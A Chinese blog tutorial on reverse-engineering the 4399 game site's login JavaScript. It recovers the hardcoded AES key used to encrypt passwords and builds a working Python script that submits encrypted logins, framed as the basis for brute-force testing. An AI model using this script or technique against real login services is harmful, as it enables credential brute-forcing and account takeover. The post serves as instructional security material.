前言
现在大部分网站在登录的时间为了防止暴力破解,都会进行加密,通常使用AES、RSA等加密方式,在前端js运行的时间进行加密,今天我们就来学习一下对于加密的登录方式,怎么进行爆破测试。
登录测试
首先打开网页点击登录,打开F12进行抓包测试
![图片[1]-【js逆向教程】某童年游戏网站登录逆向-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/07/d2b5ca33bd181728.png)
查看抓包可以发现,我们的密码加密为:
![图片[2]-【js逆向教程】某童年游戏网站登录逆向-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/07/d2b5ca33bd181903.png)
很明显,这个我们在不知道加密规则的情况下,没办法进行爆破测试
逆向测试
通过搜索url后缀:/login.do?v=1,可以定位到函数:check_login
![图片[3]-【js逆向教程】某童年游戏网站登录逆向-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/07/d2b5ca33bd182048.png)
继续全局搜索函数:check_login
/*登陆*/
function check_login(u, p, c, errDivId) {
if (!setErr(errDivId, Validaton.CheakUsername(u.value), u)) {
return false;
}
/* 密文传输 */
var _p = document.getElementById(p);
var $secv = document.getElementById("j-sec").value;
var _psdInit = $secv == 1 ? encryptAES(_p.value) : _p.value;
document.getElementById("j-psd").value = _psdInit;
if (_p && !setErr(errDivId, Validaton.CheakPWD(_p.value), _p)) {
return false;
}
if (c && !setErr(errDivId, Validaton.CheakCaptcha(c.value), c)) {
return false;
}
return true;
}
function check_edit_nick(n, errDivId) {
if (!setErr(errDivId, Validaton.CheckNick(n.value), n)) return false;
return true;
}
通过注释我们也可以发现,就是这里进行了加密,打两个断点进行测试
![图片[4]-【js逆向教程】某童年游戏网站登录逆向-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/07/d2b5ca33bd182234.png)
可以发现,断点成功停在这里,并且出现的加密值和最终提交的值相同
![图片[5]-【js逆向教程】某童年游戏网站登录逆向-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/07/d2b5ca33bd182353.png)
继续跟踪可以发现,就是使用的AES加密,这里使用js本地加密测试一下
function encryptAES(IdVal) {
return CryptoJS.AES.encrypt(IdVal, "lzYW5qaXVqa").toString();
}
本地新建1.js文件,内容为:
const CryptoJS = require('crypto-js');
function encryptAES(IdVal) {
return CryptoJS.AES.encrypt(IdVal, "lzYW5qaXVqa").toString();
}
console.log(encryptAES('asdf'));
![图片[6]-【js逆向教程】某童年游戏网站登录逆向-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/07/d2b5ca33bd182601.png)
运行结果一样,这里需要注意的是,需要使用npm安装库crypto-js
npm install crypto-js
接着就是构造python登录脚本即可
import requests
import execjs
def run_javascript_file(file_path,passwd):
with open(file_path, "r") as file:
javascript_code = file.read()
ctx = execjs.compile(javascript_code)
return ctx.call("encryptAES",passwd) # 调用你的JavaScript函数
def login(user,passwd):
cookies = {
'home4399': 'yes',
'UM_distinctid': '18934bc983c356-0eab2284e290b2-67075953-190140-18934bc983d911',
'Hm_lvt_334aca66d28b3b338a76075366b2b9e8': '1688806922',
'Hm_lpvt_334aca66d28b3b338a76075366b2b9e8': '1688806922',
'_gprp_c': '""',
'USESSIONID': '7dc9967f-ce18-43c4-bb23-698ad9c06e80',
'phlogact': 'l132528',
}
headers = {
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua': '";Not A Brand";v="99", "Chromium";v="94"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://ptlogin.4399.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Core/1.94.200.400 QQBrowser/11.8.5310.400',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'iframe',
'Referer': 'http://ptlogin.4399.com/ptlogin/login.do?v=1',
'Accept-Language': 'zh-CN,zh;q=0.9',
# Requests sorts cookies= alphabetically
# 'Cookie': 'home4399=yes; UM_distinctid=18934bc983c356-0eab2284e290b2-67075953-190140-18934bc983d911; Hm_lvt_334aca66d28b3b338a76075366b2b9e8=1688806922; Hm_lpvt_334aca66d28b3b338a76075366b2b9e8=1688806922; _gprp_c=""; USESSIONID=7dc9967f-ce18-43c4-bb23-698ad9c06e80; phlogact=l132528',
}
params = {
'v': '1',
}
data = {
'loginFrom': 'uframe',
'postLoginHandler': 'default',
'layoutSelfAdapting': 'true',
'externalLogin': 'qq',
'displayMode': 'popup',
'layout': 'vertical',
'bizId': '',
'appId': 'www_home',
'gameId': '',
'css': '',
'redirectUrl': '',
'sessionId': '',
'mainDivId': 'popup_login_div',
'includeFcmInfo': 'false',
'level': '0',
'regLevel': '4',
'userNameLabel': '4399用户名',
'userNameTip': '请输入4399用户名',
'welcomeTip': '欢迎回到4399',
'sec': '1',
'password': run_javascript_file("1.js",passwd),
'username': user,
'autoLogin': 'on',
}
response = requests.post('http://ptlogin.4399.com/ptlogin/login.do', params=params, cookies=cookies, headers=headers, data=data).text
print(response)
if __name__ == "__main__":
login("2912655897","2912655897")
这里就是使用python调用刚刚创建的1.js,然后构建登录包即可。测试账号:2912655897,2912655897
需要修改为自己的js地址,还有自己的账号密码,即可成功登录
'password': run_javascript_file("1.js",passwd),
login("2912655897","2912655897")
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END










请登录后查看评论内容